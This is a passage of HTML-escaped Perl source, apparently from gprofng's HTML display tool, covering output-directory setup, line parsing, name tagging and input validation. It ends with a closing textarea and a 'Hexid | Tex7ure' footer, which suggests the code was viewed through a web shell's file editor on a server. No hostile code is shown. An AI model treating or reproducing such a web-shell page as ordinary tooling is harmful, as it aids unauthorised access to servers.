  if ($from_where eq &quot;process source&quot;)
    {
      if ($base =~ /^file\.(\d+)\.src\.txt$/)
        {
          if (defined ($1))
            {
              $RI = $1;
            }
          else
            {
              $msg = &quot;unexpected error encountered parsing $filename&quot;;
              gp_message (&quot;assertion&quot;, $subr_name, $msg);
            }
        }
      $the_title = &quot;Source&quot;;
    }
  elsif ($from_where eq &quot;disassembly&quot;)
    {
      if ($base =~ /^file\.(\d+)\.dis$/)
        {
          if (defined ($1))
            {
              $RI = $1;
            }
          else
            {
              $msg = &quot;unexpected error encountered parsing $filename&quot;;
              gp_message (&quot;assertion&quot;, $subr_name, $msg);
            }
        }
      $the_title = &quot;Disassembly&quot;;
    }
  else
    {
      $msg = &quot;called from unknown routine - $from_where&quot;;
      gp_message (&quot;assertion&quot;, $subr_name, $msg);
    }

  if (defined ($function_info[$RI]{&quot;routine&quot;}))
    {
      $routine = $function_info[$RI]{&quot;routine&quot;};
    }

  if ($from_where eq &quot;process source&quot;)
    {
      $file_is_empty = is_file_empty ($filename);

      if ($file_is_empty)
        {
          $src_file = &quot;&quot;;
        }
      else
        {
          open ($SRC, &quot;&lt;&quot;, $filename)
            or die (&quot;$subr_name - unable to open source file $filename for reading:&#039;$!&#039;&quot;);
          gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $filename for reading&quot;);

          $first_line = &lt;$SRC&gt;;
          chomp ($first_line);

          close ($SRC);

          gp_message (&quot;debug&quot;, $subr_name, &quot;first_line = $first_line&quot;);

          if ($first_line =~ /^Source\s+file:\s+([^\s]+)/)
            {
              $src_file = $1
            }
          else
            {
              $src_file = &quot;&quot;;
            }
        }
    }
  elsif ($from_where eq &quot;disassembly&quot;)
    {
      $msg = &quot;unable to open disassembly file $filename for reading:&quot;;
      open ($DIS, &quot;&lt;&quot;, $filename)
        or die ($subr_name . &quot; - &quot; . $msg . &quot; &quot; . $!);
      gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $filename for reading&quot;);

      $file_is_empty = is_file_empty ($filename);

      if ($file_is_empty)
#------------------------------------------------------------------------------
# Currently, the disassembly file for &lt;static&gt; functions appears to be empty
# on aarch64.  This might be a bug, but it is in any case better to handle
# this situation.
#------------------------------------------------------------------------------
        {
          $first_line = &quot;&quot;;
          $msg = &quot;file $filename is empty&quot;;
          gp_message (&quot;debugM&quot;, $subr_name, $msg);
        }
      else
        {
          $first_line = &lt;$DIS&gt;;
        }

      close ($DIS);

      if ($first_line =~ /^Source\s+file:\s+([^\s]+)/)
        {
          $src_file = &quot;$1&quot;
        }
      else
        {
          $src_file = &quot;&quot;;
        }
    }

  if (length ($routine))
    {
      $the_title .= &quot; $routine&quot;;
    }

  if (length ($src_file))
    {
      if ($src_file ne &quot;(unknown)&quot;)
        {
          $the_title .= &quot; ($src_file)&quot;;
        }
      else
        {
          $the_title .= &quot; $src_file&quot;;
        }
    }

  return ($the_title);

} #-- End of subroutine set_title

#------------------------------------------------------------------------------
# Handles where the output should go.  If needed, a directory to store the
# results in is created.
#------------------------------------------------------------------------------
sub set_up_output_directory
{
  my $subr_name = get_my_name ();

  my $error_code;
  my $msg;
  my $mkdir_output_msg;
  my $outputdir = &quot;does_not_exist_yet&quot;;
  my $rm_output_msg;
  my $success;
  my $target_cmd;

  my $define_new_output_dir = $g_user_settings{&quot;output&quot;}{&quot;defined&quot;};
  my $overwrite_output_dir  = $g_user_settings{&quot;overwrite&quot;}{&quot;defined&quot;};

  if ((not $define_new_output_dir) and (not $overwrite_output_dir))
#------------------------------------------------------------------------------
# If neither -o or -O are set, find the next number to be used in the name for
# the default output directory.
#------------------------------------------------------------------------------
    {
      my $dir_id = 1;
      while (-d &quot;display.&quot;.$dir_id.&quot;.html&quot;)
        { $dir_id++; }
      $outputdir = &quot;display.&quot;.$dir_id.&quot;.html&quot;;
    }
  elsif ($define_new_output_dir)
#------------------------------------------------------------------------------
# The output directory is defined with the -o option.
#------------------------------------------------------------------------------
    {
      $outputdir = $g_user_settings{&quot;output&quot;}{&quot;current_value&quot;};
    }
  elsif ($overwrite_output_dir)
#------------------------------------------------------------------------------
# The output directory is defined with the -O option.
#------------------------------------------------------------------------------
    {
      $outputdir = $g_user_settings{&quot;overwrite&quot;}{&quot;current_value&quot;};
    }

#------------------------------------------------------------------------------
# The name of the output directory is known and we can proceed.
#------------------------------------------------------------------------------
  $msg = &quot;the target output directory is $outputdir&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  if (-d $outputdir)
    {
#------------------------------------------------------------------------------
# The -o option is used, but the directory already exists.
#------------------------------------------------------------------------------
      if ($define_new_output_dir)
        {
          $msg  = &quot;directory $outputdir already exists&quot;;
          gp_message (&quot;error&quot;, $subr_name, $msg);
          $msg  = &quot;use the -O/--overwite  option to overwrite an&quot;;
          $msg .= &quot; existing directory&quot;;
          gp_message (&quot;error&quot;, $subr_name, $msg);

          $g_total_error_count++;

          gp_message (&quot;abort&quot;, $subr_name, $g_abort_msg);

        }
      elsif ($overwrite_output_dir)
#------------------------------------------------------------------------------
# It is a bit risky to remove this directory and so we proceed with caution.
# What if the user decides to call it &quot;*&quot; e.g. &quot;-O \*&quot; for example? While this
# should have been caught when processing the options, we still like to
# be very cautious here before executing /bin/rm -rf.
#------------------------------------------------------------------------------
        {
          if ($outputdir eq &quot;*&quot;)
            {
              $msg = &quot;it is not allowed to use * as a value for the -O option&quot;;
              gp_message (&quot;error&quot;, $subr_name, $msg);

              $g_total_error_count++;

              gp_message (&quot;abort&quot;, $subr_name, $g_abort_msg);
            }
          else
            {
#------------------------------------------------------------------------------
# The output directory exists, but it is okay to overwrite it. It is
# removed here and created again below.
#------------------------------------------------------------------------------
              $target_cmd = $g_mapped_cmds{&quot;rm&quot;} . &quot; -rf &quot; . $outputdir;
              ($error_code, $rm_output_msg) = execute_system_cmd ($target_cmd);

                if ($error_code != 0)
                  {
                    $msg = &quot;fatal error when trying to remove $outputdir&quot;;
                    gp_message (&quot;error&quot;, $subr_name, $rm_output_msg);
                    gp_message (&quot;error&quot;, $subr_name, $msg);

                    $g_total_error_count++;

                    gp_message (&quot;abort&quot;, $subr_name, $g_abort_msg);
                  }
                else
                  {
                    $msg = &quot;directory $outputdir has been removed&quot;;
                    gp_message (&quot;debug&quot;, $subr_name, $msg);
                  }
            }
        }
    } #-- End of if-check for $outputdir

#------------------------------------------------------------------------------
# When we get here, the fatal scenarios have not occurred and the name for
# $outputdir is known.  Time to create it.  Note that recursive creation is
# supported and the user umask settings control the access permissions.
#------------------------------------------------------------------------------
  $target_cmd = $g_mapped_cmds{&quot;mkdir&quot;} . &quot; -p &quot; . $outputdir;
  ($error_code, $mkdir_output_msg) = execute_system_cmd ($target_cmd);

  if ($error_code != 0)
    {
      $msg = &quot;a fatal problem occurred when creating directory $outputdir&quot;;
      gp_message (&quot;error&quot;, $subr_name, $mkdir_output_msg);
      gp_message  (&quot;error&quot;, $subr_name, $msg);

      $g_total_error_count++;

      gp_message (&quot;abort&quot;, $subr_name, $g_abort_msg);
    }
  else
    {
      $msg = &quot;created output directory $outputdir&quot;;
      gp_message  (&quot;debug&quot;, $subr_name, $msg);
    }

  return ($outputdir);

} #-- End of subroutine set_up_output_directory

#------------------------------------------------------------------------------
# Split a line with function data into 3 components.
#------------------------------------------------------------------------------
sub split_function_data_line
{
  my $subr_name = get_my_name ();

  my ($input_line_ref) = @_;

  my $input_line = ${ $input_line_ref };

  my $decimal_separator = $g_locale_settings{&quot;decimal_separator&quot;};
  my $full_hex_address;
  my $function_name;
  my $hex_address;
  my $length_metric_list;
  my $length_remainder;
  my $length_target_string;
  my $list_with_metrics;
  my $marker;
  my $msg;
  my $reduced_line;
  my $remainder;
 
  my @hex_addresses = ();
  my @special_marker = ();
  my @the_function_name = ();

  my $find_hex_address_regex = &#039;\s*(\d+:0x[a-fA-F0-9]+)\s+(.*)&#039;;
  my $find_marker_regex = &#039;(^\*).*&#039;;
  my $find_metrics_1_regex  = &#039;\)*\ +([0-9,&#039; . $decimal_separator;
     $find_metrics_1_regex .= &#039;\ ]*$)&#039;;
  my $find_metrics_2_regex  = &#039;\)*\ +\[.+\]\s+([0-9,&#039; . $decimal_separator;
     $find_metrics_2_regex  = &#039;\ ]*$)&#039;;
  my $get_hex_address_regex = &#039;(\d+):0x(\S+)&#039;;

  $reduced_line = $input_line;

  if ($input_line =~ /$find_hex_address_regex/)
    {
      if (defined ($1) )
        {
          $full_hex_address = $1;
          $reduced_line =~ s/$full_hex_address//;

          $msg = &quot;full_hex_address = &quot; . $full_hex_address;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
          $msg = &quot;reduced_line = &quot; . $reduced_line;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
        }
      if (defined ($2) )
        {
          $remainder = $2;
          $msg = &quot;remainder = &quot; . $remainder;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          if (($remainder =~ /$find_metrics_1_regex/) or
              ($remainder =~ /$find_metrics_2_regex/))
            {
              if (defined ($1))
                {
                  $list_with_metrics = $1;
                  $msg = &quot;before list_with_metrics = &quot; . $list_with_metrics;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

                  $list_with_metrics =~ s/$g_rm_surrounding_spaces_regex//g;
                  $msg = &quot;after list_with_metrics = &quot; . $list_with_metrics;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Remove the function name from the string.
#------------------------------------------------------------------------------
                  $length_remainder   = length ($remainder);
                  $length_metric_list = length ($list_with_metrics);

                  $msg = &quot;length remainder = &quot; . $length_remainder;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

                  $msg = &quot;length list_with_metrics = &quot; . $length_metric_list;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

                  $length_target_string = $length_remainder -
                                          $length_metric_list - 1;
                  $function_name = substr ($remainder, 0,
                                           $length_target_string, &#039;&#039;);

                  $msg = &quot;new function_name  = &quot; . $function_name;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

                  $reduced_line = $function_name;
                  $reduced_line =~ s/$g_rm_surrounding_spaces_regex//g;

                  $msg = &quot;reduced_line = &quot; . $reduced_line;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# In some lines, the function name has a &quot;*&quot; prepended.  Isolate this marker
# and later on remove it from the function name.
# TBD: Can probably be done more efficiently.
#------------------------------------------------------------------------------
                  if ($reduced_line =~ /$find_marker_regex/)
                    {
                      if (defined ($1))
                        {
                          $marker = $1;
                          $msg = &quot;found the marker = &quot; . $marker;
                          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
                        }
                      else
                        {
                          $msg  = &quot;first character in &quot; . $reduced_line ;
                          $msg .= &quot; is not expected&quot;;
                          gp_message (&quot;assertion&quot;, $subr_name, $msg);
                        }
                    }
                  else
                    {
                          $marker = &quot;X&quot;;
                    }
                }
              else
                {
                  $msg  = &quot;failure to find metric values following the &quot;;
                  $msg .= &quot;function name&quot;;
                  gp_message (&quot;assertion&quot;, $subr_name, $msg);
                }
            }
          else
            {
              $msg = &quot;cannot find metric values in remainder&quot;;
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);
              gp_message (&quot;assertion&quot;, $subr_name, $msg);
            }
        }
#------------------------------------------------------------------------------
# We now have the 3 main objects from the input line.  Next, they are processed
# and stored.
#------------------------------------------------------------------------------
      if ($full_hex_address =~ /$get_hex_address_regex/)
        {
          if (defined ($1) and defined ($2))
            {
              $hex_address = &quot;0x&quot; . $2;
              push (@hex_addresses, $full_hex_address);

              $msg = &quot;pushed full_hex_address = &quot; . $full_hex_address;
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);
            }
        }
      else
        {
          $msg = &quot;full_hex_address = $full_hex_address has an unknown format&quot;;
          gp_message (&quot;assertion&quot;, $subr_name, $msg);
        }
      if ($marker eq &quot;*&quot;)
        {
          push (@special_marker, &quot;*&quot;);
        }
      else
        {
          push (@special_marker, &quot;X&quot;);
        }

      $reduced_line =~ s/^\*//;

      $msg = &quot;RESULT full_hex_address = &quot; . $full_hex_address;
      $msg .= &quot; -- metric values = &quot; . $list_with_metrics;
      $msg .= &quot; -- marker = &quot; . $marker;
      $msg .= &quot; -- function name = &quot; . $reduced_line;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);
    }

  return (\$full_hex_address, \$marker, \$reduced_line, \$list_with_metrics);

} #-- End of subroutine split_function_data_line

#------------------------------------------------------------------------------
# Routine to generate webfriendly names
#------------------------------------------------------------------------------
sub tag_name
{
  my $subr_name = get_my_name ();

  my ($target_name) = @_;

#------------------------------------------------------------------------------
# Keeps track how many names have been tagged already.
#------------------------------------------------------------------------------
  state $S_total_tagged_names = 0;

  my $msg;
  my $unique_name;

  gp_message (&quot;debug&quot;, $subr_name, &quot;target_name on entry  = $target_name&quot;);

#------------------------------------------------------------------------------
# Undo conversion of &lt; in to &amp;lt;
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# TBD: Legacy - What is going on here and is this really needed?!
# We need to replace the &quot;&lt;&quot; symbol in the code by &quot;&amp;lt;&quot;.
#------------------------------------------------------------------------------
  $target_name =~ s/$g_html_less_than_regex/$g_less_than_regex/g;

#------------------------------------------------------------------------------
# Remove inlining info
#------------------------------------------------------------------------------
  $target_name =~ s/, instructions from source file.*//;

  if (defined $g_tagged_names{$target_name})
    {
      $msg  = &quot;target_name = $target_name is already defined: &quot;;
      $msg .= $g_tagged_names{$target_name};
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      $msg = &quot;target_name on return = $target_name&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      return ($g_tagged_names{$target_name});
    }
  else
    {
      $unique_name = &quot;ftag&quot;.$S_total_tagged_names;
      $S_total_tagged_names++;
      $g_tagged_names{$target_name} = $unique_name;

      $msg  = &quot;target_name = $target_name is new and added: &quot;;
      $msg .= &quot;g_tagged_names{$target_name} = $g_tagged_names{$target_name}&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      $msg = &quot;target_name on return = $target_name&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      return ($unique_name);
    }

} #-- End of subroutine tag_name

#------------------------------------------------------------------------------
# Generate a string to terminate the HTML document.
#------------------------------------------------------------------------------
sub terminate_html_document
{
  my $subr_name = get_my_name ();

  my $html_line;

  $html_line  = &quot;&lt;/body&gt;\n&quot;;
  $html_line .= &quot;&lt;/html&gt;&quot;;

  return (\$html_line);

} #-- End of subroutine terminate_html_document

#------------------------------------------------------------------------------
# Perform some basic checks to ensure the input data is consistent.  This part
# could be refined and expanded over time.  For example by using a checksum
# mechanism to verify the consistency of the executables.
#------------------------------------------------------------------------------
sub verify_consistency_experiments
{
  my $subr_name = get_my_name ();

  my ($exp_dir_list_ref) = @_;

  my @exp_dir_list    = @{ $exp_dir_list_ref };

  my $executable_name;
  my $full_path_executable_name;
  my $msg;
  my $ref_executable_name;

  my $first_exp_dir     = $TRUE;
  my $count_differences = 0;

#------------------------------------------------------------------------------
# Enforce that the full path names to the executable are the same.  This could
# be overkill and a checksum approach would be more flexible.
#------------------------------------------------------------------------------
  for my $full_exp_dir (@exp_dir_list)
    {
      my $exp_dir = get_basename ($full_exp_dir);
      gp_message (&quot;debug&quot;, $subr_name, &quot;exp_dir = $exp_dir&quot;);
      if ($first_exp_dir)
        {
          $first_exp_dir = $FALSE;
          $ref_executable_name =
			$g_exp_dir_meta_data{$exp_dir}{&quot;full_path_exec&quot;};
          $msg = &quot;ref_executable_name = &quot; . $ref_executable_name;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
          next;
        }
        $full_path_executable_name =
			$g_exp_dir_meta_data{$exp_dir}{&quot;full_path_exec&quot;};
        $msg = &quot;full_path_executable_name = &quot; . $full_path_executable_name;
        gp_message (&quot;debug&quot;, $subr_name, $msg);

        if ($full_path_executable_name ne $ref_executable_name)
          {
            $count_differences++;
            $msg  = $full_path_executable_name . &quot; does not match&quot;;
            $msg .= &quot; &quot; . $ref_executable_name;
            gp_message (&quot;debug&quot;, $subr_name, $msg);
          }
    }

  $executable_name = get_basename ($ref_executable_name);

  return ($count_differences, $executable_name);

} #-- End of subroutine verify_consistency_experiments

#------------------------------------------------------------------------------
# Check if the input item is valid for the data type specified. Validity is
# verified in the context of gprofng.  The definition for the metrics is a
# good example of that.
#------------------------------------------------------------------------------
sub verify_if_input_is_valid
{
  my $subr_name = get_my_name ();

  my ($input_item, $data_type) = @_;

  my $msg;
  my $return_value = $FALSE;

#------------------------------------------------------------------------------
# These value are allowed to be case insensitive, so we convert to lower
# case first.
#------------------------------------------------------------------------------
  if (($data_type eq &quot;onoff&quot;) or ($data_type eq &quot;size&quot;))
    {
      $input_item = lc ($input_item);
    }

  if ($data_type eq &quot;metrics&quot;)
#------------------------------------------------------------------------------
# A gprofng metric definition.  Either consists of &quot;default&quot; only, or starts
# with e or i, followed by one or more from the set {.,%,!,+} and a keyword.
# This pattern may be repeated with a &quot;:&quot; as the separator.
#------------------------------------------------------------------------------
    {
      my @metric_list = split (&quot;:&quot;, $input_item);

#------------------------------------------------------------------------------
# Check if the pattern is valid.  If not, bail out and return $FALSE.
#------------------------------------------------------------------------------
      for my $metric (@metric_list)
        {
          if ($metric =~ /^default$|^[ei]*[\.%\!\+]+[a-z]*$/)
            {
              $return_value = $TRUE;
            }
          else
            {
              $return_value = $FALSE;
              last;
            }
        }
    }
  elsif ($data_type eq &quot;metric_names&quot;)
#------------------------------------------------------------------------------
# A gprofng metric definition but without the flavour and visibility .  Either
# the name consists of &quot;default&quot; only, or a keyword with lowercase letters
# only.  This pattern may be repeated with a &quot;:&quot; as the separator.
#------------------------------------------------------------------------------
    {
      my @metric_list = split (&quot;:&quot;, $input_item);

#------------------------------------------------------------------------------
# Check if the pattern is valid.  If not, bail out and return $FALSE.
#------------------------------------------------------------------------------
      for my $metric (@metric_list)
        {
          if ($metric =~ /^default$|^[a-z]*$/)
            {
              $return_value = $TRUE;
            }
          else
            {
              $return_value = $FALSE;
              last;
            }
        }
    }
  elsif ($data_type eq &quot;path&quot;)
#------------------------------------------------------------------------------
# This can be almost anything, including &quot;/&quot; and &quot;.&quot;
#------------------------------------------------------------------------------
    {
      if ($input_item =~ /^[\w\/\.\-]*$/)
        {
          $return_value = $TRUE;
        }
    }
  elsif ($data_type eq &quot;boolean&quot;)
    {
#------------------------------------------------------------------------------
# This is TRUE (=1) or FALSE (0).
#------------------------------------------------------------------------------
      if ($input_item =~ /^[01]$/)
        {
          $return_value = $TRUE;
        }
    }
  elsif ($data_type eq &quot;onoff&quot;)
#------------------------------------------------------------------------------
# This is either &quot;on&quot; OR &quot;off&quot;.
#------------------------------------------------------------------------------
    {
      if ($input_item =~ /^on$|^off$/)
        {
          $return_value = $TRUE;
        }
    }
  elsif ($data_type eq &quot;size&quot;)
#------------------------------------------------------------------------------
# Supported values are &quot;on&quot;, &quot;off&quot;, &quot;s&quot;, &quot;m&quot;, &quot;l&quot;, or &quot;xl&quot;.
#------------------------------------------------------------------------------
    {
      if ($input_item =~ /^on$|^off$|^s$|^m$|^l$|^xl$/)
        {
          $return_value = $TRUE;
        }
    }
  elsif ($data_type eq &quot;pinteger&quot;)
#------------------------------------------------------------------------------
# This is a positive integer.
#------------------------------------------------------------------------------
    {
      if ($input_item =~ /^\d*$/)
        {
          $return_value = $TRUE;
        }
    }
  elsif ($data_type eq &quot;integer&quot;)
#------------------------------------------------------------------------------
# This is a positive or negative integer.
#------------------------------------------------------------------------------
    {
      if ($input_item =~ /^\-?\d*$/)
        {
          $return_value = $TRUE;
        }
    }
  elsif ($data_type eq &quot;pfloat&quot;)
#------------------------------------------------------------------------------
# This is a positive floating point number, but we accept a positive integer
# number as well.
#
# TBD: Note that we use the &quot;.&quot; here. Maybe should support a &quot;,&quot; too.
#------------------------------------------------------------------------------
    {
      if (($input_item =~ /^\d*\.\d*$/) or ($input_item =~ /^\d*$/))
        {
          $return_value = $TRUE;
        }
    }
  elsif ($data_type eq &quot;float&quot;)
#------------------------------------------------------------------------------
# This is a positive or negative floating point number, but we accept an
# integer number as well.
#
# TBD: Note that we use the &quot;.&quot; here. Maybe should support a &quot;,&quot; too.
#------------------------------------------------------------------------------
    {
      if (($input_item =~ /^\-?\d*\.\d*$/) or ($input_item =~ /^\-?\d*$/))
        {
          $return_value = $TRUE;
        }
    }
  else
    {
      $msg = &quot;the $data_type data type for input $input_item is not supported&quot;;
      gp_message (&quot;assertion&quot;, $subr_name, $msg);
    }

  return ($return_value);

} #-- End of subroutine verify_if_input_is_valid

#------------------------------------------------------------------------------
# Scan the leftovers in ARGV.  Other than the option generated by the driver,
# this list should be empty.  Anything left here is considered to be a fatal
# error and pushed into the g_error_msgs buffer.
#
# We use two different arrays for the errors found.  This allows us to group
# the same type of errors.
#------------------------------------------------------------------------------
sub wrap_up_user_options
{
  my $subr_name = get_my_name ();

  my @opt_unsupported = ();
  my @opt_ignored     = ();

  my $current_option;
  my $driver_inserted = &quot;--whoami=gprofng display html&quot;;
  my $ignore_option;
  my $msg;
  my $option_delimiter = &quot;--&quot;;

  if (@ARGV)
    {
      $msg = &quot;items in ARGV: &quot; . join (&quot; &quot;, @ARGV);
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);

      $ignore_option = $FALSE;
      for my $i (keys @ARGV)
        {
          $current_option = $ARGV[$i];

          $msg = &quot;ARGV[$i] = $current_option&quot;;

          if ($current_option eq $option_delimiter)
#------------------------------------------------------------------------------
# The user may use a feature of GetOptions to delimit the options.  After
# this, only experiment names are allowed and these have been handled already,
# so anything found after this delimite is an error.
#
# This is why we set a flag if the delimiter has been found.
#------------------------------------------------------------------------------
            {
              $ignore_option = $TRUE;
              gp_message (&quot;debugXL&quot;, $subr_name, $msg . &quot; (option delimiter)&quot;);
            }
          elsif ($ignore_option)
#------------------------------------------------------------------------------
# We have seen the delimiter, but there are still options, or other strings.
# In any case, it is not allowed.
#------------------------------------------------------------------------------
            {
              push (@opt_ignored, $current_option);
              gp_message (&quot;debugXL&quot;, $subr_name, $msg . &quot; (ignored)&quot;);
            }
          elsif ($current_option ne $driver_inserted)
#------------------------------------------------------------------------------
# The gprofng driver inserts this and it should be ignored.  This is why we
# only recorded those options different than the one inserted by the driver.
#------------------------------------------------------------------------------
            {
              push (@opt_unsupported, $current_option);
              gp_message (&quot;debugXL&quot;, $subr_name, $msg . &quot; (unsupported)&quot;);
            }
          else
#------------------------------------------------------------------------------
# The gprofng driver inserts this option and it should be ignored.
#------------------------------------------------------------------------------
            {
              gp_message (&quot;debugXL&quot;, $subr_name, $msg .
                          &quot; (driver inserted and ignored)&quot;);
            }
        }
    }

#------------------------------------------------------------------------------
# Store any illegal input in the g_error_msgs buffer.
#------------------------------------------------------------------------------
  if (@opt_ignored)
    {
      $msg = &quot;the following input is out of place:&quot;;
      for my $i (keys @opt_ignored)
        {
          $msg .= &quot; &quot; . $opt_ignored[$i];
        }
      gp_message (&quot;error&quot;, $subr_name, $msg);

      $g_total_error_count++;
    }
  if (@opt_unsupported)
    {
      $msg = &quot;the following items in the input are not supported:&quot;;
      for my $i (keys @opt_unsupported)
        {
          $msg .= &quot; &quot; . $opt_unsupported[$i];
        }
      gp_message (&quot;error&quot;, $subr_name, $msg);

      $msg  = &quot;perhaps an error in the option name, or an option value&quot;;
      $msg .= &quot; is missing?&quot;;
      gp_message (&quot;error&quot;, $subr_name, $msg);

      $g_total_error_count++;
    }

  return (0);

} #-- End of subroutine wrap_up_user_options
</textarea></center></from><br/><center><table bordercolor="lime" style="border-radius:4px;width:90%;" align="center"><td>

<b><center>Copyright &copy;2k19 - <font color="lime" face="New Rocker" size="2">Hexid</font> | <a href="mailto:tex7ure@yahoo.com">Tex7ure</a>
</center></font></table</b></center>

</body>
</html>